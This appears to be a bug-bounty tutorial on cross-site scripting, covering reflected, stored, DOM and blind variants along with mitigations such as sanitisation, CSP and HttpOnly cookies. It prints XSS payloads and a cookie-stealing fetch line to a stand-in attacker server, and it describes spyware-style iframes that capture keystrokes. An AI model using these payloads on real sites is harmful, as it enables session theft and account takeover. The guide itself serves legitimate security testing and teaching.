Cross-Site Scripting (XSS) is a super-common vulnerability that infects a victim’s browser with malicious JavaScript code, which is then used to hijack the victim's data or, in some cases, take full control of accounts hosted in the application.
In this comprehensive guide, we break down every variant of XSS attack from reflected and stored to DOM and blind. We reveal practical detection methods, exploitation techniques, and real-world scenarios that demonstrate why mastering XSS is essential for any bug bounty hunter. Mastering XSS techniques is essential since it transforms common flaws into high-impact opportunities in Bug Bounty engagements. It is also considered the #1 most dangerous CWE category as well as being the most frequent bug seen on YesWeHack Bug Bounty Programs.
Outline
- What is an XSS vulnerability?
- Impact of an XSS attack
- Types of XSS attacks – detection, exploitation, workflows
- Reflected XSS
- Detecting a reflected XSS vulnerability
- Exploiting a reflected XSS
- Example of a reflected XSS exploit
- Exploit workflow for a reflected XSS
- Exploiting an isolated and authenticated reflected XSS
- Example of an isolated and authenticated reflected XSS exploit
- Exploit workflow for an isolated and authenticated reflected XSS
- Stored XSS
- Detecting a stored XSS
- Exploiting a stored XSS
- Example of a stored XSS exploit
- Exploit workflow for a stored XSS
- DOM XSS
- Detecting a DOM XSS
- Exploiting a DOM XSS
- Example of a DOM XSS exploit
- Exploit workflow for a DOM XSS
- Blind XSS
- Detecting a blind XSS
- Exploiting a blind XSS
- Example of a blind XSS exploit
- Exploit workflow of a DOM XSS
- XSS prevention and mitigation
- Input validation and output encoding
- Content security policy (CSP)
- Secure cookie flags
- Web application firewalls
- Conclusion – steps to XSSuccess
- References
What is an XSS vulnerability?
Cross-Site Scripting (XSS), classed as CWE-79, refers to a class of security vulnerabilities in web applications where an attacker injects malicious JavaScript code into content that is delivered to users. This vulnerability occurs when applications fail to properly validate or escape user-supplied input. A fundamental understanding of XSS is a core skill for ethical hackers because it lays the foundation for recognising and exploiting weaknesses in how web applications handle user data.
Impact of an XSS attack
Although XSS security flaws are often categorised as ‘medium’ severity vulnerabilities, impacts and severity can vary significantly. To maximise the impact of your exploits, you should always pay attention to where the XSS is being executed. An ideal outcome is an account takeover (ATO) or being able to modify the sensitive data of another user. In rarer cases, an XSS can be executed directly from a local file and rendered, which could allow arbitrary file read or even remote code execution. This, however, fully depends on how the XSS is being handled by the application.
CHECK OUT OUR XSS LABS: Reinforce your theoretical knowledge with our hands-on labs with realistic XSS exploitation scenarios
Types of XSS attacks – detection, exploitation, workflows
A deep understanding of each type of XSS attack is crucial because it allows you to choose the most effective exploitation strategy based on the target’s context and security posture.
Reflected XSS
Reflected XSS occurs when user input is not properly sanitised and is reflected by the server in its response. The user input being reflected then executes JavaScript code on the vulnerable web application’s client-side code. Reflected XSS is most often exploited by tricking a victim into clicking on a malicious link, which duly executes malicious JavaScript code in the victim’s browser. This is especially valuable for attackers because it provides a direct route to hijacking sessions and exfiltrating data.
Detecting a reflected XSS vulnerability
Reflected XSS can be found literately in any user input that is controllable and reflected in the server’s response. Where this is the case, it is always worth testing for reflected XSS. These kind of bugs are often found in places such as search forms, login forms or web paths.
Exploiting a reflected XSS
Because a reflected XSS is reflected by a controllable user input value that usually occurs in the URL or body parameters, exploitation usually requires user interaction.
This most typically involves some form of phishing attack that dupes the victim into clicking a link that reflects the XSS payload and executes the malicious JavaScript code. Having successfully infected the victim, the attacker can then perform the actions required to hijack sensitive data or take over the victim’s session.
Example of a reflected XSS exploit
An XSS detected in a search form and successfully executed in the browser can easily be used to create a URL containing the XSS payload. When the victim clicks on the link, the URL is loaded and the payload executed.
XSS can also be used to change a user’s email address or phone number, or to directly access and hijack the victim’s session – potentially leading to account takeover.
If a session is cookie-based and does not contain a HTTP-only flag, then we should be able to read our victim’s session value and send this value to the server under our control.
For instance, we could create this simple exploit code to perform a request to the attacker’s server that includes the victim’s session value:
fetch(`//__ATTACKER_SERVER__/?data=${btoa(document.cookie)}`)
This example underscores why a simple reflected XSS can have severe consequences, as it directly leads to unauthorised data access.
Exploit workflow for a reflected XSS
This workflow illustrates the step-by-step process for exploiting a reflected XSS, and highlights why each phase is necessary to achieve a successful exploit:
Exploiting an isolated and authenticated reflected XSS
In this scenario the reflected XSS is injected and executed within an authenticated account. It is mainly found either within unique endpoints that rely on unique values related to the current logged-in user (eg: UUID) or within the user account settings. An authenticated reflected XSS can often be chained with a cross-site request forgery (CSRF) vulnerability in places such as the login form.
Example of an isolated and authenticated reflected XSS exploit
Imagine that a query search is vulnerable to a reflected XSS on an endpoint that is tailored to the current logged-in user, and that the query search contains a none-guessable UUID value such as:
https://example.com/dashboard/b19d0210-b261-411d-8927-105277dd90a7/search?query=x"><script>alert(document.domain)</script>
So essentially the format is:
https://example.com/dashboard/<UUID>/search?query=<XSS>
In this scenario, exploitation is dependent on knowing the victim’s UUID, whereas you only know the UUID value for your own logged-in account. To exploit an authenticated reflected XSS in this situation, you need two elements:
- A CSRF on the login process
- A parameter that can be used to redirect to a local endpoint on the web application. In our case we need to redirect the victim to the vulnerable endpoint that reflects our XSS payload
Both of these issues, perhaps surprisingly, exist on most web applications and can be used as a chain for our exploit.
Now we have an exploit server with a link we can send to our victim. When the victim clicks on the link, they are automatically signed into our account and redirected to the vulnerable endpoint containing our XSS payload, which will then execute.
At this point we have a proof of concept whereby we can trigger the authenticated and reflected XSS vulnerability with a single user interaction. Now, to our final step: making this XSS create an iframe or open a new window on top of the web application to trick the victim into logging into their account. When the victim enters their login details, we can hijack the credentials in plaintext and compromise the victim's account.
Exploit workflow for an isolated and authenticated reflected XSS
This workflow shows the multi-step exploitation process and emphasises the critical points that the attack leverages to achieve its impact:
RELATED Exploring JavaScript’s exploits: A deep dive into XSS vulnerabilities
Stored XSS
Stored XSS involves malicious scripts being saved persistently on the server, such as to a database or file. The stored XSS payload is later executed whenever users access the infected content. Stored XSS is particularly dangerous because its persistence can impact many users over time, which typically makes it a high or even critical impact bug.
Detecting a stored XSS
Stored XSS vulnerabilities are found in contexts where user input is saved and later reused, such as comment fields, posts or chats. Since the user input containing the XSS payload is saved, it may go through multiple string rendering processes. These make payload obfuscation and encoding techniques more powerful, as filter collisions are more likely than in a traditional reflected XSS.
Exploiting a stored XSS
The exploitation of a stored XSS requires patience. An attacker obviously cannot know when the XSS payload will be executed or by what user. It’s therefore wise to incorporate user-metrics analysis into your exploitation strategy to evaluate the privilege levels of your theoretical victims.
Example of a stored XSS exploit
Imagine you found a stored cross-site scripting vulnerability in a comment field below an article. This means all users who click on the article and have access to the comments are at potential risk of infection.
One exploit technique that works well in almost all stored XSS scenarios, including this XSS attack example, acts like worm malware and follows the victim within the page until he/she closes the browser tab.
Once the victim gets infected by your XSS payload, malicious JavaScript code should immediately execute that creates a listener, while another malware process creates an iframe covering the full page that isolates the victim. This allows you to follow the victim's future actions.
Inside the iframe, another malware script is launched that hijacks any action the user performs (such as key presses, mouse position, response data). Finally, all hijacked data should be sent to your attack server. To bypass cross-origin resource sharing (CORS), you can use images to send HTTP requests in which the hijacked data is embedded.
Exploit workflow for a stored XSS
This workflow illustrates why stored XSS is considered high-impact and how it can covertly persist and continuously exfiltrate sensitive data from multiple users:
DOM XSS
Document object model (DOM) XSS bugs happen entirely on the client side, when insecure JavaScript code dynamically modifies the DOM. DOM XSS may appear due to unexpected mutations or improper sanitization of user input when new HTML code is being created.
Detecting a DOM XSS
DOM-based XSS can be uncovered by using the browser’s development console debugger, combined with a DOM detection tool such as DOM Invader. Another useful tool in this context is Dom-Explorer, which allows you to learn how popular browsers parse HTML.
DOM vulnerabilities occur when user input is improperly sanitised and reflected or misused in a workflow. Developers often therefore trust variables in the document or window object when using the innerHTML method.
XSS TOOLING Dom-Explorer tool launched to reveal how browsers parse HTML and find mutated XSS vulnerabilities
Exploiting a DOM XSS
DOM XSS exploits are highly dependent on how the browser parses and renders HTML code. Behaviours or manipulations may occur in one browser and not in another. It is therefore important when writing an exploit to check whether the payload will work in the browser used by the victim.
Example of a DOM XSS exploit
Imagine an application uses the variable window.location.href, which is controllable by the user. You insert this value into the href attribute of an <a> tag, making it the destination of the link.
If the href attribute is improperly sanitized, it could be escaped by an attacker, who could then execute JavaScript within the <a> tag.
Example of a vulnerable code snippet:
<script>
document.body.innerHTML += "<a href='"+window.location.href+"'>Home</a>"
</script>
We can exploit this code in the endpoint of our vulnerable target in the following way:
https://example.com/index.php/x' oncontentvisibilityautostatechange=alert(1) style='display:block;content-visibility:auto
XSS payload:
x' oncontentvisibilityautostatechange=alert(1) style='display:block;content-visibility:auto
The final HTML code result:
<a href="x" oncontentvisibilityautostatechange="alert(1)" style="display:block;content-visibility:auto">Home</a>
When this HTML code is added to the DOM, it will directly trigger our XSS payload and execute the JavaScript code: alert(1)
.
Exploit workflow for a DOM XSS
This workflow illustrates the client-side manipulation steps and why each section is critical for a successful DOM XSS attack:
Blind XSS
Blind XSS vulnerabilities arise when an attacker is able to inject malicious script that is not immediately executed in their own browser. Instead, it triggers at a later time, in a different context. In most cases, the impact of blind XSS is elevated significantly by the fact they usually infect victims with high privileges that grant them access to restricted sections of the applications.
Detecting a blind XSS
Detection of blind XSS is highly dependent on out-of-band application security testing (OAST), since a blind XSS is not triggered directly and, in most cases, is triggered in a different context to the initial injection.These bugs can be found in places like contact forms or posts awaiting validation.
Since you can’t predict when a blind XSS will execute, it’s important to be patient and ensure that your controlled server is always active and listening for incoming requests. This is especially important given we need to use an OAST technique to confirm when our blind XSS has been triggered by a victim.
Exploiting a blind XSS
In most cases, to exploit a blind XSS you need to write a JavaScript-based malware – more specifically, a spyware. We can do this by creating a similar malware to the one we created for our stored XSS exploit in an earlier section. This will allow us to monitor and hijack any data the victim sees and actions he/she performs – most likely allowing us to take over the account. Blind XSS exploits are invaluable for attackers because they enable them to target high-privilege users over time, thereby increasing the potential impact of the exploit.
Example of a blind XSS exploit
Let’s say you discovered a blind XSS vulnerability using an OAST technique in a contact form. An exploit would therefore infect victims with a higher privilege than your current user because he/she would have permission to read contact-form messages sent by other users.
We may of course be unaware of other actions this user can perform with this level of privilege. It’s therefore useful to write a spyware that can hijack enough data to eventually enable us to compromise the victim’s account.
Exploit workflow of a DOM XSS
This workflow highlights the sequence of steps involved in blind XSS and its delayed execution:
XSS prevention and mitigation
Mitigations for cross-site scripting attacks involve more than just filtering or escaping basic HTML characters. Successful defences against cross-site scripting attacks should incorporate a multilayered approach that targets every stage of data-handling – from initial input sanitisation through to post-deployment security headers:
Input validation and output encoding
Attackers rely on untrusted data to inject malicious XSS payloads. Proper input validation should reject harmful characters at the earliest stage, while output encoding ensures any residual special characters are safely rendered rather than executed. When limited HTML is needed – such as in user-generated content like posts or comments – it is crucial to establish a strict whitelist of allowed tags and attributes. This approach restricts users to only safe and necessary HTML elements, significantly reducing the risk of injection attacks while maintaining functionality.
Below is an example of how a potentially malicious XSS payload might appear, followed by a short snippet illustrating how you could sanitize it using sanitize-html
in Node.js:
const userInput = '<img src=x onerror=alert("XSS!")>'; // Example XSS payload
// Using sanitize-html to escape the user input
const sanitizeHtml = require('sanitize-html');
const sanitizedOutput = sanitizeHtml(userInput, {
allowedTags: ['b', 'i', 'img', 'strong'], // Example whitelist
allowedAttributes: {
'img': ['src']
}
});
Content security Policy (CSP)
A Content Security Policy controls which resources the browser can load and execute. Even if an attacker manages to inject malicious code, a well-configured CSP can block it from executing – effectively neutralising the threat.
Example in Node.js (Express) setting CSP headers.
const express = require('express');
const app = express();
// A simple example CSP that allows scripts only from the current domain,
// restricts all other sources, and disallows inline scripts.
app.use((req, res, next) => {
res.setHeader("Content-Security-Policy",
"default-src 'self'; " +
"script-src 'self'; " +
"style-src 'self'; " +
"img-src 'self'; " +
"object-src 'none'; " +
"base-uri 'self'; " +
"frame-ancestors 'none'"
// More CSP rules...
);
next();
});
Web application firewalls
Web Application Firewalls (WAFs) filter and monitor HTTP traffic to detect and block malicious scripts. They use rule-based detection, signature matching, behavior analysis and, increasingly, machine learning to identify XSS attempts.
Secure cookie flags
If your session tokens can be accessed via JavaScript (ie, if no HttpOnly
flag is set), an attacker who successfully exploits an XSS can simply steal session cookies – and easily take over the victim’s account. To protect against this threat, the application should implement HttpOnly
for session and CSRF cookies. When a HttpOnly
flag is enabled on a cookie, it prevents JavaScript from reading its value.
RELATED READING How to bypass web application firewalls
Conclusion – steps to XSSuccess
So we’ve summarised some of the most common XSS techniques and subtypes, how you can detect and exploit these vulnerabilities, and useful tools for doing so – all need-to-know knowledge for up-and-coming hunters.
Now you know that there’s more to XSS than putting ‘alert(1)’ in your cross-site scripting payloads, and that this ubiquitous security flaw can do a lot of damage – with the right payload and process.
When you discover an XSS vulnerability in future, make sure you invest enough time to maximise the impact and your bounty reward. To this end, creating a custom JavaScript malware that hijacks valuable data from the victim’s account will give you a useful proof of concept.
Finally, to accelerate your XSS success, YesWeHack’s Dojo platform offers learning materials and practical labs specific to this vulnerability. Continual learning and hands-on practice are essential to staying ahead in the evolving landscape of web security, even for a bug that’s been around for as long as XSS.
References
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Exploring JavaScript's exploits: A deep dive into XSS vulnerabilities